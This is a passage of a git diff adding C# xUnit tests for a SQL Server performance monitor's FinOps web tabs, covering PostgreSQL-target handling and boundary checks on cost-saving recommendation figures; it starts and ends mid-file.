+        Assert.Contains("tab: safeDecode(rest.slice(slash + 1))", body);
+        Assert.DoesNotContain("decodeURIComponent(", body);
+        Assert.Contains("catch {", app.Substring(app.IndexOf("function safeDecode(", StringComparison.Ordinal), 120));
+        Assert.Contains("renderFinops(main, r.param, r.tab, opts)", app);
+    }
+
+    [Fact]
+    public void XamlOrder_MatchesTheRegistryOrder()
+    {
+        var xaml = ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Viewer", "FinOpsTab.xaml");
+        var headers = Regex.Matches(xaml, "^\\s{16}<TabItem Header=\"([^\"]+)\"", RegexOptions.Multiline)
+            .Select(m => m.Groups[1].Value).ToArray();
+        Assert.Equal(XamlHeaders, headers);
+    }
+
+    [Fact]
+    public void FinopsJs_ImportsAllTwelveTabsInXamlOrder_AndSetsThePanelSignal()
+    {
+        var src = Js("pages", "finops.js");
+        var imported = Regex.Matches(src, "import \\{ tab as \\w+ \\} from \"\\./finops/([a-z-]+)\\.js\";")
+            .Select(m => m.Groups[1].Value).ToArray();
+        Assert.Equal(TabIds, imported);
+        Assert.Contains("setPanelSignal(", src);
+        Assert.Contains("list_servers", src);
+        Assert.Contains("finops.server", src);
+        Assert.True(src.IndexOf("setPanelSignal(", StringComparison.Ordinal) < src.IndexOf(".build(", StringComparison.Ordinal),
+            "the panel signal must be set before a tab is built");
+    }
+
+    [Fact]
+    public void FinopsTabsArray_IsInXamlOrder_AndEachLabelMatchesItsXamlHeader()
+    {
+        var src = Js("pages", "finops.js");
+        var m = Regex.Match(src, "FINOPS_TABS = \\[(?<ids>[^\\]]*)\\];");
+        Assert.True(m.Success, "FINOPS_TABS array not found");
+        var ids = m.Groups["ids"].Value.Split(',').Select(x => x.Trim()).Where(x => x.Length > 0).ToArray();
+        Assert.Equal(TabIds.Select(i => i.Replace('-', '_')).ToArray(), ids);
+        for (var i = 0; i < TabIds.Length; i++)
+            Assert.Contains($"label: \"{WebUtility.HtmlDecode(XamlHeaders[i])}\",", TabFile(TabIds[i]));
+    }
+
+    [Fact]
+    public void RenderFinops_ResolvesToTheRowKey_PollsOnlyOnOpts_AndOpensTheControllerBeforeAnyAwait()
+    {
+        var src = Js("pages", "finops.js");
+        var start = src.IndexOf("export function renderFinops(", StringComparison.Ordinal);
+        var body = src.Substring(start);
+        Assert.Contains("rows.find((r) => r.display_name === wanted)", src);
+        // The row is kept (not just its name) because the tabs read the chosen row's engine for the PostgreSQL-target rules.
+        Assert.Contains("const row = resolveRow(rows, wanted);", body);
+        Assert.Contains("const chosen = row.server_name;", body);
+        Assert.DoesNotContain("known(", src);
+        Assert.Contains("opts.poll === true", body);
+        Assert.DoesNotContain("keepPainted", body);
+        var lines = body.ReplaceLineEndings("\n").Split('\n');
+        var paintIdx = Array.FindIndex(lines, l => l.Trim() == "if (hit) paint(lastRows);");
+        var fetchIdx = Array.FindIndex(lines, l => l.Contains("readTool(\"list_servers\""));
+        Assert.True(paintIdx >= 0 && paintIdx < fetchIdx, "the cached paint must run before the list_servers read, on polls too (no !isPoll guard)");
+        Assert.Contains("const hit = lastRows !== null && (!server || lastRows.some((r) => r.server_name === server || r.display_name === server));", body);
+        Assert.Contains("const hadCache = hit;", body);
+        Assert.Contains("const needFetch = !hit || isPoll;", body);
+        Assert.Contains("if (!needFetch) return;", body);
+        var ctrlIdx = Array.FindIndex(lines, l => l.Trim() == "let controller = panelAbort = new AbortController();");
+        Assert.True(ctrlIdx > 0 && lines[ctrlIdx - 1].Trim() == "if (panelAbort) panelAbort.abort();",
+            "the previous render's controller must be aborted on the line right before the new one is created");
+        Assert.True(ctrlIdx >= 0 && ctrlIdx < Array.FindIndex(lines, l => l.Contains("await ")),
+            "the controller must be created unconditionally before the first await");
+        Assert.Contains("{ signal: controller.signal, postgres: isPostgresRow(row) }", body);
+        Assert.Contains("aria-current", src);
+        Assert.DoesNotContain("role: \"tab", src);
+        Assert.DoesNotContain("aria-selected", src);
+        Assert.Contains("/^No servers are registered/.test(", body);
+        /* An empty registry is a definite answer: both branches go through showEmpty, which is not behind the hadCache guard. */
+        Assert.Contains("return showEmpty();", body);
+        Assert.Equal(2, System.Text.RegularExpressions.Regex.Matches(body, @"return showEmpty\(\);").Count);
+        var emptyIdx = Array.FindIndex(lines, l => l.Trim() == "const showEmpty = () => {");
+        var showIdx = Array.FindIndex(lines, l => l.Trim() == "const show = (node) => {");
+        Assert.True(emptyIdx >= 0 && showIdx >= 0, "showEmpty and show must both exist");
+        var emptyBlock = string.Join("\n", lines.Skip(emptyIdx).Take(5));
+        Assert.DoesNotContain("hadCache", emptyBlock);
+        Assert.Contains("lastRows = null;", emptyBlock);
+        Assert.Contains("controller.abort();", emptyBlock);
+    }
+
+    [Fact]
+    public void EveryTabFile_ExportsTabWithIdLabelBuild_AndTheIdIsTheFileName()
+    {
+        var onDisk = Directory.GetFiles(
+                Path.GetDirectoryName(PathTo(Wwwroot.Concat(new[] { "js", "pages", "finops", "utilization.js" }).ToArray()))!,
+                "*.js")
+            .Select(Path.GetFileNameWithoutExtension)
+            // database-box.js is the shared Database box the Index Analysis and Locking tabs import (#5231), not a tab.
+            // gate.js is the helper the tabs share for their empty and not-collected states on a PostgreSQL target, also not a tab.
+            // window.js is the rolling-only time range picker the windowed tabs share (#5562), also not a tab.
+            .Where(name => name != "database-box" && name != "gate" && name != "window")
+            .OrderBy(x => x, StringComparer.Ordinal).ToArray();
+        Assert.Equal(TabIds.OrderBy(x => x, StringComparer.Ordinal).ToArray(), onDisk);
+
+        foreach (var id in TabIds)
+        {
+            var src = TabFile(id);
+            Assert.Contains("export const tab = {", src);
+            Assert.Contains($"id: \"{id}\",", src);
+            Assert.Matches("label: \"[^\"]+\",", src);
+            Assert.Matches("build\\(server, ctx\\) \\{", src);
+        }
+    }
+
+    [Fact]
+    public void FinOpsTabFiles_DeriveNoBandOrThresholdInTheBrowser()
+    {
+        var dir = Path.GetDirectoryName(PathTo(Wwwroot.Concat(new[] { "js", "pages", "finops", "utilization.js" }).ToArray()))!;
+        foreach (var file in Directory.GetFiles(dir, "*.js"))
+        {
+            var hits = BrowserDerivedThresholds(File.ReadAllText(file).ReplaceLineEndings("\n"));
+            Assert.True(hits.Count == 0, Path.GetFileName(file) + " compares a band, score or percent: " + string.Join(" | ", hits));
+        }
+    }
+
+    [Theory]
+    [InlineData("if (row.score > 50) {", true)]
+    [InlineData("x = pct >= 0.8 ? a : b;", true)]
+    [InlineData("if (10 < row.band_value)", true)]
+    [InlineData("if (row.avg_cpu_percent > 80) {", true)]
+    [InlineData("if (r.utilization_percent >= 90) {", true)]
+    [InlineData("if (row.cpu_ratio > 0.5) {", true)]
+    [InlineData("if (row.cpu_pct > CRIT) {", true)]
+    [InlineData("if (row.size_gb > MAX_SIZE) {", true)]
+    [InlineData("const heat = v > 0.8 ? 3 : 2;", true)]
+    [InlineData("const cls = v > 0.8 ? \"heat-3\" : \"heat-1\";", true)]
+    [InlineData("const label = row.band;", false)]
+    [InlineData("const n = rows.length > 0 ? 1 : 2;", false)]
+    [InlineData("score: row.score,", false)]
+    [InlineData("rows.map((r) => NUMBER_FMT.format(r.v));", false)]
+    public void ThresholdScanner_FlagsOnlyNumericComparisons(string line, bool flagged)
+    {
+        Assert.Equal(flagged, BrowserDerivedThresholds(line).Count > 0);
+    }
+
+    /// <summary>
+    /// Lines that compare a number against a band, score or percent identifier. The browser never derives a
+    /// band: the read returns it. Reused by every FinOps tab's page test.
+    /// </summary>
+    internal static List<string> BrowserDerivedThresholds(string source)
+    {
+        const string ident = "(band|score|pct|percent|ratio|util)";
+        var after = new Regex("\\b\\w*" + ident + "\\w*\\b[\\w.\\[\\]()]*\\s*(<=|>=|<|>|===|!==|==|!=)\\s*-?\\d", RegexOptions.IgnoreCase);
+        var before = new Regex("-?\\d[\\d.]*\\s*(<=|>=|<|>|===|!==|==|!=)\\s*[\\w.\\[\\]()]*" + ident, RegexOptions.IgnoreCase);
+        var constant = new Regex("(<=|>=|<|(?<!=)>)\\s*[A-Z][A-Z0-9_]{2,}\\b|\\b[A-Z][A-Z0-9_]{2,}\\s*(<=|>=|<|>)");
+        var heatTernary = new Regex("(<=|>=|<|>)\\s*-?\\d[\\d.]*\\s*\\?[^:]*(heat|band)|heat\\w*\\s*=[^;]*(<=|>=|<|>)\\s*-?\\d", RegexOptions.IgnoreCase);
+        return source.Split('\n').Where(l => after.IsMatch(l) || before.IsMatch(l) || constant.IsMatch(l) || heatTernary.IsMatch(l)).Select(l => l.Trim()).ToList();
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsPostgresTargetTests.cs b/Darling/Darling.Tests/FinOpsPostgresTargetTests.cs
new file mode 100644
index 0000000000..fe0bd5a297
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsPostgresTargetTests.cs
@@ -0,0 +1,162 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Darling web click-through, FinOps on a PostgreSQL target, run under Node (<c>finops-postgres-target-harness.mjs</c>): a
+/// bare FinOps visit opens on the first SQL Server target in the sidebar's order, the server list says which targets are
+/// PostgreSQL, and a panel that does not apply to a PostgreSQL target says one short line instead of the gate paragraph (a
+/// SQL Server target keeps the server's own sentence). Node is skipped when it is not installed.
+/// </summary>
+public sealed class FinOpsPostgresTargetTests
+{
+    private const string Gate = "Collector query_stats is not collected for PostgreSQL targets; this server uses pg_stat_statements instead, which has none of these figures and is read on the PostgreSQL pages.";
+
+    private static readonly string Registry = JsonSerializer.Serialize(new object[]
+    {
+        new { server_name = "AA-PG", display_name = "AA-PG", engine_kind = "postgres" },
+        new { server_name = "BB-AURORA", display_name = "BB-AURORA", engine_kind = "aurora-postgres" },
+        new { server_name = "CC-SQL", display_name = "CC-SQL", engine_kind = "sqlserver" },
+        new { server_name = "DD-SQL", display_name = "DD-SQL", engine_kind = (string?)null },
+    });
+
+    private static JsonElement Run(string scenario, string registry, string reads = "{}", string server = "", string tab = "")
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "finops-postgres-target-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+        psi.Environment["HARNESS_REGISTRY"] = registry;
+        psi.Environment["HARNESS_READS"] = reads;
+        psi.Environment["HARNESS_SERVER"] = server;
+        psi.Environment["HARNESS_TAB"] = tab;
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the FinOps harness did not finish in 30 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the FinOps harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            var result = doc.RootElement.Clone();
+            Assert.Empty(result.GetProperty("rejections").EnumerateArray());
+            return result;
+        }
+    }
+
+    private static string[] Strings(JsonElement e) => e.EnumerateArray().Select(x => x.GetString()!).ToArray();
+
+    [Fact]
+    public void ABareFinOpsVisit_OpensOnTheFirstSqlServerTarget_AndTheListNamesThePostgresOnes()
+    {
+        var r = Run("open", Registry);
+
+        Assert.Equal("CC-SQL", r.GetProperty("selected").GetString());
+        Assert.Equal(["AA-PG (PostgreSQL)", "BB-AURORA (PostgreSQL)", "CC-SQL", "DD-SQL"], Strings(r.GetProperty("options")));
+    }
+
+    [Fact]
+    public void ABareFinOpsVisit_WithOnlyPostgresTargets_StillOpensOnTheFirstOne()
+    {
+        var onlyPg = JsonSerializer.Serialize(new object[]
+        {
+            new { server_name = "AA-PG", display_name = "AA-PG", engine_kind = "postgres" },
+            new { server_name = "ZZ-PG", display_name = "ZZ-PG", engine_kind = "postgres" },
+        });
+
+        Assert.Equal("AA-PG", Run("open", onlyPg).GetProperty("selected").GetString());
+    }
+
+    [Theory]
+    [InlineData("high-impact")]
+    [InlineData("application-connections")]
+    [InlineData("database-resources")]
+    [InlineData("database-sizes")]
+    [InlineData("recommendations")]
+    [InlineData("index-analysis")]
+    public void APanelThatDoesNotApplyToAPostgresTarget_SaysOneShortLine(string tab)
+    {
+        var reads = JsonSerializer.Serialize(new Dictionary<string, object>
+        {
+            ["get_finops"] = new { status = "not_collected", message = Gate },
+            ["get_finops_recommendations"] = new { status = "not_collected", message = Gate },
+        });
+
+        var pg = Strings(Run("strips", Registry, reads, "AA-PG", tab).GetProperty("strips"));
+        Assert.Contains("Not collected for PostgreSQL", pg);
+        Assert.DoesNotContain(pg, s => s.Contains("pg_stat_statements"));
+
+        // The same answer for a SQL Server target keeps the server's own sentence.
+        var sql = Strings(Run("strips", Registry, reads, "CC-SQL", tab).GetProperty("strips"));
+        Assert.Contains(Gate, sql);
+        Assert.DoesNotContain("Not collected for PostgreSQL", sql);
+    }
+
+    [Fact]
+    public void TheSectionsOfOptimization_OnAPostgresTarget_SayOneShortLineEach()
+    {
+        var section = new { status = "not_collected", message = Gate, rows = Array.Empty<object>() };
+        var reads = JsonSerializer.Serialize(new Dictionary<string, object>
+        {
+            ["get_finops"] = new { idle_databases = section, tempdb_pressure = section, wait_categories = section, expensive_queries = section, memory_grant_efficiency = section },
+        });
+
+        var pg = Strings(Run("strips", Registry, reads, "AA-PG", "optimization").GetProperty("strips"));
+        Assert.DoesNotContain(pg, s => s.Contains("pg_stat_statements"));
+        Assert.True(pg.Count(s => s == "Not collected for PostgreSQL") >= 5, string.Join(" | ", pg));
+
+        var sql = Strings(Run("strips", Registry, reads, "CC-SQL", "optimization").GetProperty("strips"));
+        Assert.True(sql.Count(s => s == Gate) >= 5, string.Join(" | ", sql));
+    }
+
+    [Fact]
+    public void ThePanelsOfUtilizationAndLocking_OnAPostgresTarget_SayOneShortLine()
+    {
+        var reads = JsonSerializer.Serialize(new Dictionary<string, object>
+        {
+            ["get_finops"] = new { status = "not_collected", message = Gate },
+            ["get_cpu_utilization"] = new { status = "not_collected", message = Gate },
+            ["get_memory_stats"] = new { status = "not_collected", message = Gate },
+            ["get_database_sizes"] = new { status = "not_collected", message = Gate },
+            ["get_object_locking"] = new { status = "not_collected", message = Gate },
+        });
+
+        foreach (var tab in new[] { "utilization", "locking" })
+        {
+            var pg = Strings(Run("strips", Registry, reads, "AA-PG", tab).GetProperty("strips"));
+            Assert.DoesNotContain(pg, s => s.Contains("pg_stat_statements"));
+            Assert.Contains("Not collected for PostgreSQL", pg);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsRecommendationFiguresTests.cs b/Darling/Darling.Tests/FinOpsRecommendationFiguresTests.cs
new file mode 100644
index 0000000000..b85c2a598c
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsRecommendationFiguresTests.cs
@@ -0,0 +1,369 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Globalization;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Boundary tests on the memory, VM and reserved-capacity recommendation figures. Each expectation was worked out from the
+/// viewer's original inline code (ViewerDataService.FinOps.Recommendations.cs before the move), not from the moved code; the
+/// line cited on a test is that original line. The text is formatted in the current culture, so each test runs in en-US.
+/// </summary>
+public sealed class FinOpsRecommendationFiguresTests
+{
+    private static UtilizationEfficiencyDto Util(int physicalMemoryMb) =>
+        new(5m, 10, 10m, 100L, 1000, 1000, physicalMemoryMb, 500, 0.5m, 0L, 0L, 0L, 0m, 100, null, 8, 3, "OK");
+
+    private static void InEnUs(Action body)
+    {
+        var previous = CultureInfo.CurrentCulture;
+        try
+        {
+            CultureInfo.CurrentCulture = new CultureInfo("en-US");
+            body();
+        }
+        finally
+        {
+            CultureInfo.CurrentCulture = previous;
+        }
+    }
+
+    // ── Memory right-sizing (original :269 sampleCount >= 16, :272-276 ratio, target and GB compare, :282 severity, :288 savings) ──
+
+    [Fact]
+    public void Memory_NeedsSixteenSamples()
+    {
+        InEnUs(() =>
+        {
+            Assert.Null(FinOpsRecommendationFigures.MemoryRightSizing(Util(16384), 4096, 15, "w", 0m));
+            Assert.NotNull(FinOpsRecommendationFigures.MemoryRightSizing(Util(16384), 4096, 16, "w", 0m));
+        });
+    }
+
+    [Fact]
+    public void Memory_RatioBelowHalf_IsARow_AndExactlyHalfIsNot()
+    {
+        InEnUs(() =>
+        {
+            // 8191 / 16384 < 0.50 and the 15GB target is under the 16GB RAM; 8192 / 16384 is exactly 0.50.
+            Assert.NotNull(FinOpsRecommendationFigures.MemoryRightSizing(Util(16384), 8191, 16, "w", 0m));
+            Assert.Null(FinOpsRecommendationFigures.MemoryRightSizing(Util(16384), 8192, 16, "w", 0m));
+        });
+    }
+
+    [Fact]
+    public void Memory_SeverityIsHighBelowThirtyPercent_MediumAtThirty()
+    {
+        InEnUs(() =>
+        {
+            Assert.Equal("High", FinOpsRecommendationFigures.MemoryRightSizing(Util(10240), 3071, 16, "w", 0m)!.Severity);
+            Assert.Equal("Medium", FinOpsRecommendationFigures.MemoryRightSizing(Util(10240), 3072, 16, "w", 0m)!.Severity);
+        });
+    }
+
+    [Fact]
+    public void Memory_ComparesWholeGigabytes_SoAnEightGigabyteTargetOnNineGigabytesIsNoAdvice()
+    {
+        InEnUs(() =>
+        {
+            // target is 8192 MB = 8GB and 9000 / 1024 is 8, so 8 < 8 is false.
+            Assert.Null(FinOpsRecommendationFigures.MemoryRightSizing(Util(9000), 4000, 16, "w", 0m));
+            // 10240 MB is 10GB, so the same 8GB target is advice.
+            Assert.NotNull(FinOpsRecommendationFigures.MemoryRightSizing(Util(10240), 4000, 16, "w", 0m));
+        });
+    }
+
+    [Fact]
+    public void Memory_SavingsAreNullWithoutACost_AndThirtyPercentOfTheFreedShareWithOne()
+    {
+        InEnUs(() =>
+        {
+            Assert.Null(FinOpsRecommendationFigures.MemoryRightSizing(Util(16384), 4096, 16, "w", 0m)!.EstMonthlySavings);
+            // 1000 * (1 - 8192/16384) * 0.30
+            Assert.Equal(150m, FinOpsRecommendationFigures.MemoryRightSizing(Util(16384), 4096, 16, "w", 1000m)!.EstMonthlySavings);
+        });
+    }
+
+    // ── VM right-sizing (original :435-452 cores, :455-480 memory) ──
+
+    [Fact]
+    public void Vm_CpuTargetCores_RoundOnTheWholeCoreCounts()
+    {
+        InEnUs(() =>
+        {
+            var low = Assert.Single(FinOpsRecommendationFigures.VmRightSizing(14.99m, "w", 16, 0, 0, 0, "m", 1000m));
+            Assert.Contains("from 16 to 4 cores", low.Finding, StringComparison.Ordinal);
+            Assert.Equal(375m, low.EstMonthlySavings);   // 1000 * (1 - 4/16) * 0.50
+
+            var mid = Assert.Single(FinOpsRecommendationFigures.VmRightSizing(15m, "w", 16, 0, 0, 0, "m", 1000m));
+            Assert.Contains("from 16 to 8 cores", mid.Finding, StringComparison.Ordinal);
+            Assert.Equal(250m, mid.EstMonthlySavings);   // 1000 * (1 - 8/16) * 0.50
+
+            Assert.Empty(FinOpsRecommendationFigures.VmRightSizing(30m, "w", 16, 0, 0, 0, "m", 1000m));
+            Assert.Empty(FinOpsRecommendationFigures.VmRightSizing(10m, "w", 3, 0, 0, 0, "m", 1000m));
+        });
+    }
+
+    [Fact]
+    public void Vm_MemoryPrescription_UsesItsOwnThresholdsAndThirtyPercentFactor()
+    {
+        InEnUs(() =>
+        {
+            var quarter = Assert.Single(FinOpsRecommendationFigures.VmRightSizing(90m, "w", 2, 16384, 4095, 16, "m", 1000m));
+            Assert.Contains("from 16GB to 4GB", quarter.Finding, StringComparison.Ordinal);
+            Assert.Equal(225m, quarter.EstMonthlySavings);   // 1000 * (1 - 4096/16384) * 0.30
+
+            var half = Assert.Single(FinOpsRecommendationFigures.VmRightSizing(90m, "w", 2, 16384, 4096, 16, "m", 1000m));
+            Assert.Contains("from 16GB to 8GB", half.Finding, StringComparison.Ordinal);
+            Assert.Equal(150m, half.EstMonthlySavings);      // 1000 * (1 - 8192/16384) * 0.30
+
+            Assert.Single(FinOpsRecommendationFigures.VmRightSizing(90m, "w", 2, 16384, 6553, 16, "m", 0m));
+            Assert.Empty(FinOpsRecommendationFigures.VmRightSizing(90m, "w", 2, 16384, 6554, 16, "m", 0m));
+            Assert.Empty(FinOpsRecommendationFigures.VmRightSizing(90m, "w", 2, 16384, 4095, 15, "m", 0m));
+            Assert.Empty(FinOpsRecommendationFigures.VmRightSizing(90m, "w", 2, 4096, 100, 16, "m", 0m));
+        });
+    }
+
+    [Fact]
+    public void Vm_CanEmitBothRows_CpuFirst_AndNeitherWhenNothingQualifies()
+    {
+        InEnUs(() =>
+        {
+            var both = FinOpsRecommendationFigures.VmRightSizing(10m, "w", 16, 16384, 4000, 16, "m", 0m);
+            Assert.Equal(2, both.Count);
+            Assert.StartsWith("CPU:", both[0].Finding, StringComparison.Ordinal);
+            Assert.StartsWith("Memory:", both[1].Finding, StringComparison.Ordinal);
+            Assert.Null(both[0].EstMonthlySavings);
+            Assert.Empty(FinOpsRecommendationFigures.VmRightSizing(80m, "w", 16, 16384, 16000, 100, "m", 1000m));
+        });
+    }
+
+    // ── Reserved capacity (original :578 avg and stddev gate, :581 CV < 0.3, :584 confidence at 0.15) ──
+
+    [Fact]
+    public void Reserved_AverageMustExceedTwenty_AndTheSpreadMustBePositive()
+    {
+        InEnUs(() =>
+        {
+            Assert.Null(FinOpsRecommendationFigures.ReservedCapacity(20m, 1m));
+            Assert.NotNull(FinOpsRecommendationFigures.ReservedCapacity(20.01m, 1m));
+            Assert.Null(FinOpsRecommendationFigures.ReservedCapacity(50m, 0m));
+        });
+    }
+
+    [Fact]
+    public void Reserved_VariationBelowThreeTenths_IsARow_AndExactlyThreeTenthsIsNot()
+    {
+        InEnUs(() =>
+        {
+            Assert.NotNull(FinOpsRecommendationFigures.ReservedCapacity(100m, 29.9m));
+            Assert.Null(FinOpsRecommendationFigures.ReservedCapacity(100m, 30m));
+        });
+    }
+
+    [Fact]
+    public void Reserved_ConfidenceIsHighBelowFifteenHundredths_MediumAtIt()
+    {
+        InEnUs(() =>
+        {
+            var high = FinOpsRecommendationFigures.ReservedCapacity(100m, 14.9m)!;
+            Assert.Equal("High", high.Confidence);
+            Assert.Equal("Cloud", high.Category);
+            Assert.Equal("Low", high.Severity);
+            Assert.Null(high.EstMonthlySavings);
+            Assert.Equal("Medium", FinOpsRecommendationFigures.ReservedCapacity(100m, 15m)!.Confidence);
+        });
+    }
+
+    // ── Dormant (original :302 any idle, :304 GB total, :305 top 5, :308-314 share, :318 severity, :322 "and N more", :325 savings) ──
+
+    private static List<(string DatabaseName, decimal TotalSizeMb)> Idle(int count, decimal eachMb) =>
+        Enumerable.Range(1, count).Select(i => ($"db{i}", eachMb)).ToList();
+
+    [Fact]
+    public void Dormant_NoIdleDatabases_IsNull()
+    {
+        Assert.Null(FinOpsRecommendationFigures.Dormant(new List<(string, decimal)>(), 1000m, 1000m));
+    }
+
+    [Fact]
+    public void Dormant_ShowsFiveNames_AndTheMoreCountFromSix()
+    {
+        InEnUs(() =>
+        {
+            var five = FinOpsRecommendationFigures.Dormant(Idle(5, 1024m), 0m, 0m)!;
+            Assert.Equal("No query activity in 7 days: db1, db2, db3, db4, db5. Consider archiving or removing these databases.", five.Detail);
+            var seven = FinOpsRecommendationFigures.Dormant(Idle(7, 1024m), 0m, 0m)!;
+            Assert.Equal("No query activity in 7 days: db1, db2, db3, db4, db5 and 2 more. Consider archiving or removing these databases.", seven.Detail);
+        });
+    }
+
+    [Fact]
+    public void Dormant_FindingCarriesTheGbTotal_AndSeverityIsHighFromThree()
+    {
+        InEnUs(() =>
+        {
+            var two = FinOpsRecommendationFigures.Dormant(Idle(2, 1536m), 0m, 0m)!;
+            Assert.Equal("2 idle database(s) consuming 3.0GB", two.Finding);
+            Assert.Equal("Medium", two.Severity);
+            Assert.Equal("High", two.Confidence);
+            Assert.Equal("Databases", two.Category);
+            Assert.Equal("High", FinOpsRecommendationFigures.Dormant(Idle(3, 1024m), 0m, 0m)!.Severity);
+        });
+    }
+
+    [Fact]
+    public void Dormant_ShareNeedsAnAllocatedTotal_AndACost()
+    {
+        InEnUs(() =>
+        {
+            Assert.Null(FinOpsRecommendationFigures.Dormant(Idle(2, 1024m), 0m, 1000m)!.EstMonthlySavings);
+            Assert.Null(FinOpsRecommendationFigures.Dormant(Idle(2, 1024m), 8192m, 0m)!.EstMonthlySavings);
+            // 2048 idle MB of 8192 allocated, at a monthly cost of 1000.
+            Assert.Equal(250m, FinOpsRecommendationFigures.Dormant(Idle(2, 1024m), 8192m, 1000m)!.EstMonthlySavings);
+        });
+    }
+
+    // ── Dev/test (original :338 any, :345 count, :346 top 10, :347 "and N more") ──
+
+    [Fact]
+    public void DevTest_NoDatabases_IsNull()
+    {
+        Assert.Null(FinOpsRecommendationFigures.DevTest(new List<string>()));
+    }
+
+    [Fact]
+    public void DevTest_ShowsTenNames_AndTheMoreCountFromEleven()
+    {
+        InEnUs(() =>
+        {
+            var names = Enumerable.Range(1, 11).Select(i => $"dev{i}").ToList();
+            var row = FinOpsRecommendationFigures.DevTest(names)!;
+            Assert.Equal("11 possible dev/test database(s) on production server", row.Finding);
+            Assert.Equal("Databases matching dev/test patterns: dev1, dev2, dev3, dev4, dev5, dev6, dev7, dev8, dev9, dev10 and 1 more" +
+                         ". If these are non-production workloads, consider moving to a lower-cost tier or separate server.", row.Detail);
+            Assert.Equal("Environment", row.Category);
+            Assert.Equal("Medium", row.Severity);
+            Assert.Equal("Low", row.Confidence);
+            Assert.DoesNotContain("more", FinOpsRecommendationFigures.DevTest(names.Take(10).ToList())!.Detail, StringComparison.Ordinal);
+        });
+    }
+
+    // ── Maintenance (original :376-385 severity at 5, finding, detail) and FormatDuration ──
+
+    [Theory]
+    [InlineData(0L, "0s")]
+    [InlineData(59L, "59s")]
+    [InlineData(60L, "1m 0s")]
+    [InlineData(3600L, "1h 0m 0s")]
+    public void FormatDuration_AtTheBoundaries(long seconds, string expected)
+    {
+        Assert.Equal(expected, FinOpsRecommendationFigures.FormatDuration(seconds));
+    }
+
+    [Fact]
+    public void MaintenanceJob_RanLongThreeTimes_IsLow_AndFourIsLowToo_FiveIsMedium()
+    {
+        InEnUs(() =>
+        {
+            var row = FinOpsRecommendationFigures.MaintenanceJob(new MaintenanceJobRun("Nightly Index Job", 3600L, 60L, 59L, 3));
+            Assert.Equal("Nightly Index Job ran long 3 times in 7 days", row.Finding);
+            Assert.Equal("Average duration: 1h 0m 0s, max: 1m 0s, historical average: 59s. Review whether this job's schedule or operations need tuning.", row.Detail);
+            Assert.Equal("Maintenance", row.Category);
+            Assert.Equal("Low", row.Severity);
+            Assert.Equal("High", row.Confidence);
+            Assert.Equal("Low", FinOpsRecommendationFigures.MaintenanceJob(new MaintenanceJobRun("j", 0L, 0L, 0L, 4)).Severity);
+            Assert.Equal("Medium", FinOpsRecommendationFigures.MaintenanceJob(new MaintenanceJobRun("j", 0L, 0L, 0L, 5)).Severity);
+        });
+    }
+
+    // ── Storage tier (original :460-464 averages and the 5 ms / 3 ms limits, :466-472 window totals, :478-489 text, take 10) ──
+
+    private static StorageTierIo Io(string name, long reads, long readStall, long writes, long writeStall,
+        DateTime? first = null, DateTime? last = null, long samples = 0L) =>
+        new(name, reads, readStall, writes, writeStall, first, last, samples);
+
+    [Fact]
+    public void StorageTier_NoRows_IsNull()
+    {
+        Assert.Null(FinOpsRecommendationFigures.StorageTier(new List<StorageTierIo>()));
+    }
+
+    [Fact]
+    public void StorageTier_ReadAverageOfExactlyFive_IsOut_JustUnderIsIn()
+    {
+        InEnUs(() =>
+        {
+            Assert.Null(FinOpsRecommendationFigures.StorageTier(new[] { Io("a", 100, 500, 100, 0) }));
+            var row = FinOpsRecommendationFigures.StorageTier(new[] { Io("a", 1000, 4999, 100, 0) })!;
+            Assert.Equal("1 database(s) with low IO latency — standard storage may suffice", row.Finding);
+            Assert.Contains("a (read 5.0ms, write 0.0ms)", row.Detail, StringComparison.Ordinal);
+            Assert.Equal("Storage", row.Category);
+            Assert.Equal("Low", row.Severity);
+            Assert.Equal("Medium", row.Confidence);
+        });
+    }
+
+    [Fact]
+    public void StorageTier_WriteAverageOfExactlyThree_IsOut_JustUnderIsIn()
+    {
+        InEnUs(() =>
+        {
+            Assert.Null(FinOpsRecommendationFigures.StorageTier(new[] { Io("a", 100, 0, 100, 300) }));
+            Assert.NotNull(FinOpsRecommendationFigures.StorageTier(new[] { Io("a", 100, 0, 1000, 2999) }));
+        });
+    }
+
+    [Fact]
+    public void StorageTier_ZeroOperationsCountAsZeroLatency()
+    {
+        InEnUs(() =>
+        {
+            Assert.NotNull(FinOpsRecommendationFigures.StorageTier(new[] { Io("idle", 0, 0, 0, 0) }));
+        });
+    }
+
+    [Fact]
+    public void StorageTier_ListsTenDatabases_AndTheMoreCountFromEleven()
+    {
